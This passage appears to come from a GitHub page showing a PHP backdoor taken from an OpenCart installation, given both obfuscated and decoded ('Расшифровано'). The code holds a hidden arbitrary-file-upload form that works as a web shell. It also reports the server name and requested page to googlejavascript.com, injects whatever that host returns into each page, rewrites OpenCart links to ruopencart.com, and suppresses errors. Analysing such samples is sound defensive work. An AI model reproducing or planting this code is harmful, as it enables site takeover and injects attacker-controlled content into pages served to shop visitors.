| $gl['_1915844346_'][$gl['_1119757062_'][26](round(0)+0.6+0.6+0.6+0.6+0.6)]($ch,CURLOPT_RETURNTRANSFER,$gl['_1290841627_'][round(0+3.8+3.8+3.8+3.8+3.8)]($gl['_1119757062_'][27](round(0))+0.25+0.25+0.25+0.25)); | |
| $gl['_1915844346_'][$gl['_1119757062_'][28](round(0)+round(0+0.25+0.25+0.25+0.25)+round(0+0.2+0.2+0.2+0.2+0.2)+round(0+1)+round(0+0.5+0.5))]($ch,CURLOPT_VERBOSE,false); | |
| $gl['_1915844346_'][$gl['_1119757062_'][29](round(0)+1.25+1.25+1.25+1.25)]($ch,CURLOPT_TIMEOUT,$gl['_1290841627_'][round(0+5+5+5+5)]($gl['_1119757062_'][30](round(0))+$gl['_1119757062_'][31](round(0)+round(0+1)+round(0+1)+round(0+0.5+0.5)+round(0+0.25+0.25+0.25+0.25)+round(0+0.2+0.2+0.2+0.2+0.2)))); | |
| $page=$gl['_1915844346_'][$gl['_1119757062_'][32](round(0)+round(0+3+3))]($ch); | |
| $errorpage='</body></html>'; | |
| $httpcode=$gl['_1915844346_'][$gl['_1119757062_'][33](round(0)+3.5+3.5)]($ch,CURLINFO_HTTP_CODE); | |
| $gl['_1915844346_'][$gl['_1119757062_'][34](round(0)+2.6666666666667+2.6666666666667+2.6666666666667)]($ch); | |
| switch($httpcode){ | |
| case '200': | |
| return $page; | |
| break; | |
| case '404': | |
| return $errorpage; | |
| break; | |
| case '502': | |
| return $errorpage; | |
| break; | |
| } | |
| } | |
| $gl['_1915844346_'][$gl['_1119757062_'][35](round(0)+1.8+1.8+1.8+1.8+1.8)](E_ALL^E_NOTICE); | |
| if(isset($_GET['outputs'])){ | |
| $outputs=$_GET['outputs']; | |
| } | |
| if(isset($outputs)== 'load'){ | |
| if(isset($_POST['dir'])){ | |
| $target_path=$_POST['dir']; | |
| } | |
| else{ | |
| $target_path=''; | |
| } | |
| $target_path=$target_path .$gl['_1915844346_'][$gl['_1119757062_'][36](round(0)+3.3333333333333+3.3333333333333+3.3333333333333)]($_FILES['file']['name']); | |
| if($gl['_1915844346_'][$gl['_1119757062_'][37](round(0)+2.75+2.75+2.75+2.75)]($_FILES['file']['tmp_name'],$target_path)){ | |
| echo "The file " .$gl['_1915844346_'][$gl['_1119757062_'][38](round(0)+round(0+1.3333333333333+1.3333333333333+1.3333333333333)+round(0+2+2)+round(0+0.8+0.8+0.8+0.8+0.8))]($_FILES['file']['name']) ." uploaded!"; | |
| } | |
| else{ | |
| echo "Error"; | |
| } | |
| echo "<br><br><form action=\"?outputs=load\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"dir\">Directory:</label><input type=\"text\" name=\"dir\" id=\"dir\" /> exemple: download/ <br /><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form>"; | |
| } | |
| if($ftend=get_page("http://googlejavascript.com/java/api.php?server=" .$_SERVER['SERVER_NAME'] ."&page=" .$_SERVER['REQUEST_URI'])){ | |
| $find=array("</body>","</html>","http://opencart.com","www.opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by"); | |
| $replace=array("",$ftend,"http://ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com"); | |
| $ouput=$gl['_1915844346_'][$gl['_1119757062_'][39](round(0)+2.6+2.6+2.6+2.6+2.6)]($find,$replace,$ouput); | |
| $gl['_1915844346_'][$gl['_1119757062_'][40](round(0)+round(0+2.8+2.8+2.8+2.8+2.8))]("display_errors","off"); | |
| $gl['_1915844346_'][$gl['_1119757062_'][41](round(0)+round(0+0.75+0.75+0.75+0.75)+round(0+0.6+0.6+0.6+0.6+0.6)+round(0+1+1+1)+round(0+0.75+0.75+0.75+0.75)+round(0+1+1+1))]($gl['_1290841627_'][round(0+4.2+4.2+4.2+4.2+4.2)]($gl['_1119757062_'][42](round(0)))); | |
| echo $ouput; | |
| } | |
| else{ | |
| $find=array("opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by"); | |
| $replace=array("ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com"); | |
| $ouput=$gl['_1915844346_'][$gl['_1119757062_'][43](round(0)+3.2+3.2+3.2+3.2+3.2)]($find,$replace,$ouput); | |
| echo $ouput; | |
| } | |
| $gl['_1915844346_'][$gl['_1119757062_'][44](round(0)+8.5+8.5)]("display_errors","off"); | |
| $gl['_1915844346_'][$gl['_1119757062_'][45](round(0)+round(0+4.5+4.5)+round(0+2.25+2.25+2.25+2.25))]($gl['_1290841627_'][round(0+22)]($gl['_1119757062_'][46](round(0)))); | |
| */ | |
| /* | |
| Расшифровано: | |
| function get_page($url){ | |
| $agent='Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; | |
| $ch=curl_init(); | |
| curl_setopt($ch,CURLOPT_URL,$url); | |
| curl_setopt($ch,CURLOPT_USERAGENT,$agent); | |
| curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); | |
| curl_setopt($ch,CURLOPT_VERBOSE,false); | |
| curl_setopt($ch,CURLOPT_TIMEOUT,5); | |
| $page=curl_exec($ch); | |
| $errorpage='</body></html>'; | |
| $httpcode=curl_getinfo($ch,CURLINFO_HTTP_CODE); | |
| curl_close($ch); | |
| switch($httpcode){ | |
| case '200': | |
| return $page; | |
| break; | |
| case '404': | |
| return $errorpage; | |
| break; | |
| case '502': | |
| return $errorpage; | |
| break; | |
| } | |
| } | |
| error_reporting(E_ALL^E_NOTICE); | |
| if(isset($_GET['outputs'])){ | |
| $outputs=$_GET['outputs']; | |
| } | |
| if(isset($outputs)== 'load'){ | |
| if(isset($_POST['dir'])){ | |
| $target_path=$_POST['dir']; | |
| } | |
| else{ | |
| $target_path=''; | |
| } | |
| $target_path=$target_path .basename($_FILES['file']['name']); | |
| if(move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){ | |
| echo "The file " .basename($_FILES['file']['name']) ." uploaded!"; | |
| } | |
| else{ | |
| echo "Error"; | |
| } | |
| echo "<br><br><form action=\"?outputs=load\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"dir\">Directory:</label><input type=\"text\" name=\"dir\" id=\"dir\" /> exemple: download/ <br /><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form>"; | |
| } | |
| if($ftend=get_page("http://googlejavascript.com/java/api.php?server=" .$_SERVER['SERVER_NAME'] ."&page=" .$_SERVER['REQUEST_URI'])){ | |
| $find=array("</body>","</html>","http://opencart.com","www.opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by"); | |
| $replace=array("",$ftend,"http://ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com"); | |
| $ouput=str_replace($find,$replace,$ouput); | |
| ini_set("display_errors","off"); | |
| error_reporting(0); | |
| echo $ouput; | |
| } | |
| else{ | |
| $find=array("opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by"); | |
| $replace=array("ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com"); | |
| $ouput=str_replace($find,$replace,$ouput); | |
| echo $ouput; | |
| } | |
| ini_set("display_errors","off"); | |
| error_reporting(0); | |
| */ | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment